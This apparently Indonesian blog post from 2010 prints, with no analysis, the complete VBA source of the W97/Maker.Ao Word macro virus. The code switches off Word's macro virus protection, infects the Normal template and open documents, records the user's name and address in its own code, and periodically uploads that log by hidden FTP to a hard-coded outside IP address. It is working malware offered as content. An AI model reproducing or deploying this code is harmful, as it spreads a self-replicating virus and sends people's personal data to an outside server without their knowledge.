Jumat, 08 Januari 2010

Source Kode Virus W97/Maker.Ao

W97/Maker.Ao

Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables

Dim SaveDocument, SaveNormalTemplate, _

DocumentInfected, NormalTemplateInfected As Boolean

Dim ad, nt As Object

Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables

Set ad = ActiveDocument.VBProject.VBComponents.Item(1)

Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)

NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)

'Switch the VirusProtection OFF

Options.VirusProtection = False

If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then

If DocumentInfected = True Then

LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

ElseIf NormalTemplateInfected = True Then

LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

End If

LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))

For I = 1 To 4

LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)

Next I

LogFile = "C:\hsf" & LogFile & ".sys"

Open LogFile For Output As #1

Print #1, LogData

Close #1

Open "c:\netldx.vxd" For Output As #1

Print #1, "o 209.201.88.110"

Print #1, "user anonymous"

Print #1, "pass itsme@"

Print #1, "cd incoming"

Print #1, "ascii"

Print #1, "put " & LogFile

Print #1, "quit"

Close #1

Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide

System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True

End If

'Make sure that some conditions are true before we continue infecting anything

If (DocumentInfected = True Xor NormalTemplateInfected = True) And _

(ActiveDocument.SaveFormat = wdFormatDocument Or _

ActiveDocument.SaveFormat = wdFormatTemplate) Then

'Infect the NormalTemplate

If DocumentInfected = True Then

SaveNormalTemplate = NormalTemplate.Saved

OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

'Write a log file of this NormalTemplate infection

For I = 1 To Len(Application.UserAddress)

If Mid(Application.UserAddress, I, 1) <> Chr(13) Then

If Mid(Application.UserAddress, I, 1) <> Chr(10) Then

UserAddress = UserAddress & Mid(Application.UserAddress, I, 1)

End If

Else

UserAddress = UserAddress & Chr(13) & "' "

End If

Next I

OurCode = OurCode & Chr(13) & _

"' " & Format(Time, "hh:mm:ss AMPM - ") & _

Format(Date, "dddd, d mmm yyyy") & Chr(13) & _

"' " & Application.UserName & Chr(13) & _

"' " & UserAddress & Chr(13)

nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines

nt.CodeModule.AddFromString OurCode

If SaveNormalTemplate = True Then NormalTemplate.Save

End If

'Infect the ActiveDocument

If NormalTemplateInfected = True And _

(Mid(ActiveDocument.FullName, 2, 1) = ":" Or _

ActiveDocument.Saved = False) Then

SaveDocument = ActiveDocument.Saved

OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines

ad.CodeModule.AddFromString OurCode

If SaveDocument = True Then ActiveDocument.Save

End If

End If

End Sub

Tidak ada komentar:

Posting Komentar